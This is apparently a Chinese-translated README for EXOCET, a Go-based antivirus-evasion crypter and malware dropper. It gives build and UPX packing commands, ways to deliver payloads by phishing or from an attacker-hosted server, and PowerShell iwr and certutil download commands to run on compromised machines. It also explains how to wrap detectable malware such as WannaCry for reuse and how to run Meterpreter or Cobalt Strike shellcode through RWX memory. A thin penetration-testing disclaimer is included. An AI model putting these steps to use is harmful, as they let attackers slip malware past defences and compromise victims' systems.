EXOCET - 规避杀毒软件、无法检测的有效载荷投递工具
Chang Tan
AWS 认证云从业者与解决方案架构师助理
[email protected]
确保你打包你的载荷,以避免加密密钥泄露,并进一步扰乱恶意软件分析师。不需要像 Themida 这样的商业顶级打包器。如果没有代码签名证书,它反而会引起更多怀疑。在 Windows 系统上,没有代码签名证书,SmartScreen 会自动触发。这是对所有潜在有害程序(PUPs)的规则,意味着所有恶意载荷、Beacon、Geacon、远控木马等都需要代码签名证书。与其花钱买顶级打包器,不如把钱花在购买代码签名证书上。
go run exocet.go malware.exe outputmalware.go
env GOOS=windows GOARCH=amd64 build -ldflags "-s -w" outputmalware.go
upx --best outputmalware.exe
然后将载荷投放到你的目标上。使用类似钓鱼邮件、链接的方式,或者如果你已经有 shell 访问权限,可以通过在你本地托管服务器的方式传递它:
python -m http.server 80'
然后在被攻陷的机器上,以 powershell 提示符运行:
iwr -Uri "http://yourip/outputmalware.exe" -OutFile "NotMalware.exe"
或
certutil.exe -urlcache -split -f http://yourip/outputmalware.exe
然后使用 outputmalware.exe 执行。
EXOCET 优于 Metasploit 的“逃避型载荷”模块,因为 EXOCET 使用 AES-256 GCM 模式(伽罗瓦/计数器模式)。Metasploit 的逃避载荷使用易于检测的 RC4 加密。虽然 RC4 可以更快解密,但 AES-256 更难确定恶意软件的意图。

不过,也可以使用 Metasploit 构建一个逃避型载荷,然后将其与 EXOCET 链式使用。这样 EXOCET 会先通过 AES-256 解密,然后 Metasploit 的逃避型载荷再通过 RC4 自己解密。
与我之前的项目 DarkLordObama 类似,这个工具包被设计为一个投递/发射载体,就像 Veil-Evasion 所做的那样。
然而,EXOCET 并不局限于单一代码库或运行 Python 的平台。EXOCET 适用于所有 Go 支持的平台和架构。
EXOCET 实际上是一种加密器类型的恶意软件投递器,它可以回收像 WannaCry 这样容易被检测的载荷,使用 AES-GCM(伽罗瓦/计数器模式)进行加密(比 AES-CBC 更安全),然后为大多数现有架构和平台创建一个投递器文件。
基本上…
这意味着支持 32 位和 64 位架构,适用于 Linux、Windows、Mac、Unix、Android、iPhone 等。你可以拿任何东西,我是说任何东西,比如 1988 年差点瘫痪互联网的 Morris 蠕虫(它利用了 UNIX 上 fingerd 监听守护进程的漏洞),并让它再次成为可用的网络武器。
EXOCET 完全用 Go 编写。
EXOCET,无论你用哪个二进制文件运行它,都需要 Golang 才能工作。默认情况下,它会生成一个加密器 .go 文件。
sudo apt-get update && sudo apt-get install -y golanggo get github.com/tanc7/EXOCET-AV-Evasiongo run EXOCET.go detectablemalware.exe outputmalware.go
系统会自动为你生成一个密钥。密钥长度为 64 个字符,完全由 bash 和 cmd.exe shell 管道重定向符组成,以混淆和破坏针对密钥的暴力破解尝试,从而在取证分析人员的设备上引发不可预测的破坏性行为。
对于 64 位 Windows 目标…
env GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.exe outputmalware.go
然后会生成一个 outputmalware.exe 文件
对于 64 位 MacOS 目标
env GOOS=darwin GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.macho outputmalware.go
对于 64 位 Linux 目标
env GOOS=linux GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.elf outputmalware.go
有关其他操作系统(如 Android)的参数,请参考 GitHub 上的这个参考 Go 交叉编译参考
请注意,密钥仍然可以通过 strings 命令找到,请使用 upx-ucl 命令打包二进制文件以隐藏密钥。
此外,我还提供了一些预构建的二进制文件,你只需要运行 ./EXOCET 或 EXOCET-Windows.exe
我,Chang Tan,以及 Exocet 主模块和子模块及其包含的软件包的创建者,不对该工具的滥用负责。这仅仅是一个渗透测试工具。严禁将 Exocet 输出的二进制文件部署到未授权的受保护系统或未授权的政府保护系统上。
我知道 APT41 和 NSO Group 的黑客已经使用或采用过此工具的代码,特别是 go-memexec 方法。如果我因该工具的滥用而被联邦调查员接触,我不会承担责任。
这与 Mimikatz 和 PowerShell Empire(其开发者在意识到被黑客使用后暂停了自身开发)的开发者所经历的事情相同。后继者已经接手了 Empire 的开发,而且还有像 Covenant C2 这样的免费替代方案。
1982年5月4日,在福克兰群岛战争期间,一个阿根廷超级军旗中队向 HMS 谢菲尔德发射了一枚法国制造的飞鱼导弹。尽管英国皇家海军试图拦截导弹,但仍有一枚击中,击沉了谢菲尔德号。这一事件使阿根廷作为展示武力对抗全球殖民国家的力量而崭露头角。
就像 Onel de Guzman 用 ILOVEYOU 病毒使菲律宾成为网络威胁的焦点一样。
.png)
所以这个月和下个月我会非常忙,实施这些方法会有延迟。但我很兴奋能开始实现新的杀毒软件规避技术,例如…
我非常忙,我有以下优先事项,并希望得到一些帮助,一些 pull request 来协助这个项目。因为我有以下几件事要做:
我需要一点帮助,因为我成功实现了 CGO 来执行加密的 shellcode,但它抛出了内存访问违规错误,退出状态为 0xc0000005。这应该与 DEP(数据执行保护)无关,因为文件 CGOTest/working-template-shellcode-executor.go 确实运行了。
问题已发现
事实证明,必须从 kernel32.dll 和 ntdll.dll 调用 VirtualAlloc,以正确设置 shellcode 所在的内存页为可读、可写、可执行,即打开 PAGE_EXECUTE_READWRITE。请参阅下面的 内存访问违规问题说明。

一旦我解决了这个问题(CGO 实现起来很麻烦),我们现在就可以创建执行内联汇编的加密器了。这此前被认为是不可能的事情。
注意,这需要你运行并生成 shellcode 的 Windows 系统上安装 Golang 和 MinGW 工具链。原因是 CGO 不能像我们的其他 EXOCET 模块那样进行交叉编译。要安装工具链,请前往 https://www.msys2.org/ 并按照指南操作。然后你必须将 gcc 添加到 Windows 的环境变量中。

步骤 1:生成 shellcode,这可能来自 msfvenom Meterpreter 载荷、Cobalt Strike Beacon 或你自己的自定义 C 兼容格式的 shellcode

步骤 2:只复制 shellcode 的字节,排除引号,放入一个文本文件,如 sc.txt

步骤 3:你的 shellcode 文件应该看起来像这样。原始 shellcode

步骤 4:现在运行命令 go run exocet-shellcode-exec.go sc.txt shellcodetest.go KEY
步骤 5:你可以尝试运行它,但出于某种原因会遇到内存访问违规错误,我还在解决中
显然,除了 CGO 的主要限制(阻止或极大阻碍交叉编译)之外,问题在于我们要执行的 shellcode 落入了内存中非 RWX 的区域(通过 WinDBG x64 分析)。换句话说,除非我们编写明确允许在内存中执行 shellcode 的 C 代码,否则它总会抛出访问违规错误。
另一种方法,我观察到其他开发者编写的简陋 Go 模块 https://gist.github.com/mgeeky/bb0fd5652b234fbd1c7630d7e5c8542d 中,他们使用 Go 的 Windows API 与 ntdll.dll 和 kernel32.dll 交互,调用 VirtualAlloc 并指定 RWX 内存页区域。这种方法效果更好,但似乎 shellcode 必须以数字变换格式才能工作。
我还在继续研究,各位。我可能会结合多种编程语言来编写一个合适的 shellcode 执行模块。
不幸的是,在为配备新 M1 CPU 的 MacBook 制作预编译二进制文件时遇到了错误。这可能是我 Golang 安装的问题。
┌──(root💀kali)-[/opt/EXOCET-AV-Evasion]
└─# GOOS=darwin GOARCH=arm64 go build exocet.go
# command-line-arguments
/usr/lib/go-1.15/pkg/tool/linux_amd64/link: running gcc failed: exit status 1
/tmp/go-link-477718799/go.o: file not recognized: file format not recognized
collect2: error: ld returned 1 exit status
无论如何,你仍然需要 Golang 来编译或交叉编译恶意软件到目标平台。